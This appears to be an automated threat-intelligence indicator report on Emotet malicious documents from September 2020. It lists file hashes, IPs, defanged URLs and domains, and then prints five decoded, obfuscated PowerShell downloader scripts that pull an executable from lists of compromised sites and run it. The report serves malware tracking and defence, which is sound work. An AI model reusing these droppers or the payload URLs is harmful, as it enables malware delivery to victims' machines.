Emotet_Doc_out_2020-09-16_22_54.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
724fcc39162e781ef870e6512016480ea6e96ef7e11c20a9b8cd25b1496636eb
724fcc39162e781ef870e6512016480ea6e96ef7e11c20a9b8cd25b1496636eb
9eaefe27a31becf85965db142254e5867b1978e4a92441704e1e8bb73120b011
9eaefe27a31becf85965db142254e5867b1978e4a92441704e1e8bb73120b011
6588df39b1cfd797af1644aedff24c2f62e80a5c800b8e8187becb4d8881c73d
7970fcfdac90cf00463cbe1bd52b65de61382f75f5fbe7bdfd457aea3893e244
304a73b9072cf4e3b0bbd2e9fe2e1f259be66e2d404732a5173e9e6af431ad81
6ab3c98c93e0973a6d291313199fb6afb3ee259509f1282acaa4673687b6880b
895d3180e6cd0f21d0b56b5061eb6a16f029d010fc833dd6fc2b85ebbbd6b76b
076fb0e8f819e233b7697c6b5aedbf7fd22e688fb842ae16467c62e7ec4d3e62
6ea61af5d34641a3a6eecc37d727e2c75ee124fce8aa622e4c1c9adf2fa2541c
acf0d9a1ff80cba0ac06bdbfecdc377c8fa48471bbefb35a0337d36c599c24d3
8c089f8051a3844931c97e3148b53085bc199788e03ac5bb8bd6c8450976ecb1
c676f40df939ef32b19cfcd36138370ce7ed85e33cfa4e744be20734235ef2ca
5b176693bd034c2640fbd079a73726cafaefdfe64d9e5814a24b157bfcbcfd42
c714262e7ca075c2816149ba0cf39cd465e11d7020a2675a228f4180df6163c8
4de4f40c0e62b58b0257dacf98877c1696f65b286b060ec097e98177e3bd7a7a
48c0b426aaf6c57ecdda3496e2d30196a3bf2f5f5e32025f9ce4878a46baa63e
6a45b436df1e47fdf26b5ce6098c55ac0c9ad4a456d0b020ad520701df3444d6
a424bb668e3635e2ea396355dcc0b960f919760ab25aab75f0e36c95feb46c12
2fd7624f767d8dfd5ce27157765c250c8355f390711487db72a758b033f2f135
ac6b5ce8ad764614196d01a36b028624faa42c0f2c53cc47728325fa96ba6c6c
81ff1426eb59eec8a8753589cba0b00fd96ca52bf947650c4b247d6cc655b4ba
81ff1426eb59eec8a8753589cba0b00fd96ca52bf947650c4b247d6cc655b4ba
b24bbb4dfc9f1c8214f425bf46ba2acbac1bce87c204ebd21b2b14edef9ff681
b24bbb4dfc9f1c8214f425bf46ba2acbac1bce87c204ebd21b2b14edef9ff681
d84e8e3441cf862fa793eb241277718737789cb1e43d92be3b8510f8bdaeddc1
279207a739fe4aef265ae2776e1378a0a73b1289636b86d1262f36ddf452e93b
07687b2d27dd0a53f82aaa9379b2bd9e62b3e60c83dc4cf2820fe254a93190d4
201b4b59a31c60055c285e64737d5bcba8974b4400c27f37765636deea097b30
454106c6c8c76f754067c654472ab5a4c72350eac05ff04d5c6095ed1b6cf160
3cddfe22684c82c3eeeb0d3c0c8745719dcd417db42c4ea6774c9a10d1a88f3b
9c286e96804b592c6f2e81e2fad17195c8f55114aee5e9b196b0046fda229296
9c286e96804b592c6f2e81e2fad17195c8f55114aee5e9b196b0046fda229296
0f8ad495b637bd894dc76a691518d635d697c1caa4991bb75c8a17f010863e73
32eec3ec66c12e442e79982e74f902432abb353ca97501ad43d92c300a1fbc4e
9c7a17b3e9bd6913701b7e8dac9cf2408ec57752e2c2515ba3e1b917fe40659d
09cecf1641644c52e1ee2269f262ea863ac93698af351e7ee4512ab1714159f4
61e4e3e7481e9f2ac3b784204e98e7d81b4e61e329ce55376c3954c81f41de61
31b3dd38586dcd9b1365a5c39d8093b83458be579509f98e5bbb87582a9d2d41
6cb668ee40f1c345de4b204de15595afe6af4349b9d35d16b9c5ab4f59c895e5
8807b5e5fcc84574f25c3cc1fd79a2b292b7f7037cba0ed308a05190ce462002
7623d7d53e99acb1167496895847037608ddcbda49274389f6d18a50926803f3
25d1788ec133f048b97e9f205cf6c7b69e50ed0418bd9877553aba8a7bdaefc8
fa0e3bf9e48e784ff71a6598265464b3371de879063416786701634769fe62b3
3d7a143ac7ccd70c76330167c54ed987e7572a777e10dec0bd371b0b2502c5ea
7b1127e502c3d59ec345e24f48984ba9a6e5ccb5667e317f7c3f5a8ffef69004
b7b383b68c114c1462947f1355946d0445a689ea1105d78e14ce9d799ae8a7ad
b3f921be965718a9741b8f63d9b29dba0345f98cdfda7a0cabae90ffabc8043a
c95b5dca5208b5d4dea488991b6cae5bc1d6e7686af278285ea7e77a3b71cd03
02e3f118e71d821fbc946be66158b6278db8bcc976d2859f5d4bf3768329864b
237fd94bace02997d149162862c51429fa39ffb06261ada8083cf93c19476f43
bf091d2fec43d1077ea6be810126cc3019a8b8caaded9232ee6c12ef886f0668
8f96a4ee289f6093a2f1afe8c584cba4a802c054ef22fde70d451254191872fd
9c2e5cace48f8be6f1097cafd2ed1709567e06874bd0ec10a17bfb6cb2d49bcc


IPs:
103.122.105.165
103.8.25.12
104.18.40.47
104.18.41.47
104.24.104.115
104.24.105.115
104.27.152.35
104.27.153.35
104.27.170.225
104.27.171.225
115.159.114.195
122.114.249.12
13.127.103.42
139.9.7.185
164.68.109.228
171.22.26.123
172.67.166.52
172.67.195.104
172.67.197.217
172.67.214.25
172.67.217.160
177.185.206.83
185.47.245.202
188.166.184.76
195.201.82.176
196.196.25.253
209.105.242.72
27.72.88.106
3.0.240.188
34.192.19.33
35.209.122.89
3.7.23.132
39.100.61.34
39.106.125.174
45.32.115.34
45.76.163.249
46.183.8.124
52.17.236.214
60.248.112.145
66.85.30.117
77.111.240.158
88.218.92.118
94.242.61.186



URLs:
hxxp://smartfarmsky.com/kdxhp/K/
hxxps://theonesmartpiano.com/wp-admin/css/colors/modern/W/
hxxps://www.breedenandsilver.com/wp-content/W3/
hxxps://blog.workshots.net/bibqcr9/GSB/
hxxps://lggpm.live/cgi-bin/Yq/
hxxps://sodalite.life/wp-content/uploads/Fl/
hxxps://classroom.live/wp-content/OlY/."S`plIT"[char]42;
hxxp://amettatravel.com/wp-admin/1/
hxxp://iqauthority.com/wp-admin/9Id/
hxxp://www.sifesro.com/wp-includes/o/
hxxp://oneinsix.com/test/0/
hxxps://dramacool9.live/scbvq1/sPT/
hxxp://blog.geekpai.top/rmebw/x/
hxxps://datxanhmienbac.info/lfb8ii/LmG/."Spl`it"[char]42;
hxxp://dtyl.shop/wp-content/W68Nx/
hxxps://star-speed.vip/wp-admin/U2jRIg/
hxxps://cshub123.cn/wp-admin/Gajs/
hxxps://viettellogistics.com.vn/wp-content/oS4/
hxxp://cococat.se/wp-admin/2Oaf/
hxxp://andresirjan.ir/wp-admin/JSH/
hxxps://sptrade.com.br/wp-includes/iFZOvL/."sP`liT"[char]42;
hxxps://houtai.xiaopbk.com/install/t0H/
hxxps://gudangalami.com/ivo6rp/UaBj2/
hxxps://webhostingsrilanka.info/pkrgs/ODn/
hxxp://luzzeri.com/wp-includes/T1mrkC/
hxxp://mobithem.com/blogs/Z3/
hxxp://planosdesaudesemcarencia.com/erros/E8iv/
hxxp://lookuppopup.co.uk/content/uploads/XNEm9/."Sp`lIT"[char]42;
hxxp://geevida.com/wp-admin/DhWo/
hxxp://elrofanfoods.com/wp-admin/qc/
hxxps://volcanict.com/wp-admin/LfWFF/
hxxp://xmjadever.com/wp-admin/FTOXI/
hxxps://gbmcleaning.com/1/Gdk5eqv/
hxxps://kingchuen.com/cgi-bin/KQ/
hxxps://billc46.com/uf65/H4/."sPL`It"[char]42;


Domains:
smartfarmsky.com
theonesmartpiano.com
www.breedenandsilver.com
blog.workshots.net
lggpm.live
sodalite.life
classroom.live
amettatravel.com
iqauthority.com
www.sifesro.com
oneinsix.com
dramacool9.live
blog.geekpai.top
datxanhmienbac.info
dtyl.shop
star-speed.vip
cshub123.cn
viettellogistics.com.vn
cococat.se
andresirjan.ir
sptrade.com.br
houtai.xiaopbk.com
gudangalami.com
webhostingsrilanka.info
luzzeri.com
mobithem.com
planosdesaudesemcarencia.com
lookuppopup.co.uk
geevida.com
elrofanfoods.com
volcanict.com
xmjadever.com
gbmcleaning.com
kingchuen.com
billc46.com


Decoded Base64 Powershell:
����^�$Zqqp97h=Uv_1iri;
.new-item $eNV:uSERpROFiLe\nyl4rTW\oNKGoMV\ -itemtype DIrEctorY;
[Net.ServicePointManager]::"Sec`UriTyPrOTOc`ol" = tls12, tls11, tls;
$Tyvs4rg = G4z2l_n;
$Z9d600f=Cwtma39;
$Kwuyhif=$env:userprofile4yZNyl4rtw4yZOnkgomv4yZ."ReP`lA`cE"[chAr]52[chAr]121[chAr]90,\$Tyvs4rg.exe;
$L6_7t7o=Da0vx5z;
$P3k6art=&new-object net.WEBcLIeNT;
$S9e2o50=hxxp://smartfarmsky.com/kdxhp/K/
hxxps://theonesmartpiano.com/wp-admin/css/colors/modern/W/
hxxps://www.breedenandsilver.com/wp-content/W3/
hxxps://blog.workshots.net/bibqcr9/GSB/
hxxps://lggpm.live/cgi-bin/Yq/
hxxps://sodalite.life/wp-content/uploads/Fl/
hxxps://classroom.live/wp-content/OlY/."S`plIT"[char]42;
$Cvp_3mt=Kuxx97j;
foreach$Tpyhox3 in $S9e2o50{try{$P3k6art."D`Own`l`oADfIlE"$Tpyhox3, $Kwuyhif;
$Wbkq_rm=Oaz9_v3;
If &Get-Item $Kwuyhif."L`enGTh" -ge 25317 {.Invoke-Item$Kwuyhif;
$Njqm06e=Er0i3fj;
break;
$M1wti_w=Hp3xv66}}catch{}}$Jzpx4f8=Ee6_n84����^�$Arm02f_=Wumvadx;
.new-item $ENV:USERPrOfIlE\wTmss9V\Xf5VUg6\ -itemtype DirEcTORy;
[Net.ServicePointManager]::"s`Ec`UrITYPr`OTOCOL" = tls12, tls11, tls;
$Nsjiwy_ = Mswephd0s;
$Ft88wny=Fembn1t;
$Xcrdy1s=$env:userprofile{0}Wtmss9v{0}Xf5vug6{0} -f  [CHAR]92$Nsjiwy_.exe;
$Q9v_h4s=Ccu1_5o;
$D2ciaii=.new-object Net.WeBcliEnT;
$Ym17dkl=hxxp://amettatravel.com/wp-admin/1/
hxxp://iqauthority.com/wp-admin/9Id/
hxxp://www.sifesro.com/wp-includes/o/
hxxp://oneinsix.com/test/0/
hxxps://dramacool9.live/scbvq1/sPT/
hxxp://blog.geekpai.top/rmebw/x/
hxxps://datxanhmienbac.info/lfb8ii/LmG/."Spl`it"[char]42;
$Lr0ql00=Xf7tsqe;
foreach$Nrwrx21 in $Ym17dkl{try{$D2ciaii."D`oWNloADf`I`Le"$Nrwrx21, $Xcrdy1s;
$Okufotd=A84u497;
If .Get-Item $Xcrdy1s."L`EN`GtH" -ge 27653 {&Invoke-Item$Xcrdy1s;
$Zv83c4z=Pcb80rx;
break;
$Rf1ji09=Oppfog_}}catch{}}$N4u7ies=Wg5qbsc����^�$C2vaij5=Pcuutru;
.new-item $env:UsERpRoFILE\HY3yt3i\S8K49um\ -itemtype diRectORy;
[Net.ServicePointManager]::"S`eCU`RIt`YPro`TocoL" = tls12, tls11, tls;
$Skyq7hm = X28z031d;
$Ythxbrf=Onewm9b;
$Wdaid86=$env:userprofilewvOHy3yt3iwvOS8k49umwvO."RepLa`Ce"wvO,[strIng][chaR]92$Skyq7hm.exe;
$Nbqiyti=T8hyxgm;
$Wt0reis=&new-object neT.wEbcLieNt;
$Eqqj5h9=hxxp://dtyl.shop/wp-content/W68Nx/
hxxps://star-speed.vip/wp-admin/U2jRIg/
hxxps://cshub123.cn/wp-admin/Gajs/
hxxps://viettellogistics.com.vn/wp-content/oS4/
hxxp://cococat.se/wp-admin/2Oaf/
hxxp://andresirjan.ir/wp-admin/JSH/
hxxps://sptrade.com.br/wp-includes/iFZOvL/."sP`liT"[char]42;
$Mek1xwu=Kw_ep9u;
foreach$Ti8hn1p in $Eqqj5h9{try{$Wt0reis."d`ow`NlOaDf`IlE"$Ti8hn1p, $Wdaid86;
$W6p1j7h=H58ejrl;
If .Get-Item $Wdaid86."LeN`Gth" -ge 27194 {&Invoke-Item$Wdaid86;
$Cehylh9=W5cud04;
break;
$K433x4w=Wq51pm9}}catch{}}$Qel4met=Miocf7h����^�$Dwvgn5_=Yk6mk8h;
&new-item $ENv:uSerPrOfiLE\EMkrELK\tg80uR1\ -itemtype dIReCtORY;
[Net.ServicePointManager]::"S`ECUR`iTyPR`otOc`OL" = tls12, tls11, tls;
$Vmfzt53 = Vvvqdm2;
$Hnweuv4=Qyu9jws;
$Au0nlqu=$env:userprofilefgKEmkrelkfgKTg80ur1fgK."RE`p`LaCE"[CHaR]102[CHaR]103[CHaR]75,\$Vmfzt53.exe;
$Jtu5q9m=Zve08jo;
$W_qw2lh=.new-object NEt.WEBCLieNt;
$Frwyzqv=hxxps://houtai.xiaopbk.com/install/t0H/
hxxps://gudangalami.com/ivo6rp/UaBj2/
hxxps://webhostingsrilanka.info/pkrgs/ODn/
hxxp://luzzeri.com/wp-includes/T1mrkC/
hxxp://mobithem.com/blogs/Z3/
hxxp://planosdesaudesemcarencia.com/erros/E8iv/
hxxp://lookuppopup.co.uk/content/uploads/XNEm9/."Sp`lIT"[char]42;
$W67_i6h=Mtzxnjc;
foreach$Dwq34o5 in $Frwyzqv{try{$W_qw2lh."D`owNlO`AdF`IlE"$Dwq34o5, $Au0nlqu;
$Cidv48k=A2f0q5q;
If &Get-Item $Au0nlqu."Le`NgTh" -ge 27695 {.Invoke-Item$Au0nlqu;
$Tbo1sdt=Fm8izs1;
break;
$X6yg4a_=N0szj8y}}catch{}}$Imwhytv=Ojvuoem����^�$E_9jash=G73cz68;
&new-item $ENV:uSerPRofiLE\FsZ5e2W\ZVF7izO\ -itemtype diRECtoRy;
[Net.ServicePointManager]::"SEcURI`TYp`Ro`TOCol" = tls12, tls11, tls;
$N37pu7f = Waqihok7;
$F5hg655=Uiu08e1;
$Qfh53l1=$env:userprofile{0}Fsz5e2w{0}Zvf7izo{0}-f  [ChAr]92$N37pu7f.exe;
$Vvj0tkf=Nahjf73;
$Zooupim=&new-object NeT.WeBCLiEnT;
$E08l6vk=hxxp://geevida.com/wp-admin/DhWo/
hxxp://elrofanfoods.com/wp-admin/qc/
hxxps://volcanict.com/wp-admin/LfWFF/
hxxp://xmjadever.com/wp-admin/FTOXI/
hxxps://gbmcleaning.com/1/Gdk5eqv/
hxxps://kingchuen.com/cgi-bin/KQ/
hxxps://billc46.com/uf65/H4/."sPL`It"[char]42;
$Bz3zazo=Yy7wmy9;
foreach$Mafy18h in $E08l6vk{try{$Zooupim."d`OwN`LO`AdFile"$Mafy18h, $Qfh53l1;
$S9n5a8a=Rtx5wui;
If &Get-Item $Qfh53l1."l`EnGTh" -ge 38354 {.Invoke-Item$Qfh53l1;
$W8hmajf=Fa6otl7;
break;
$Huht0zf=Vasbuqo}}catch{}}$Zgr22vz=Fx48ftg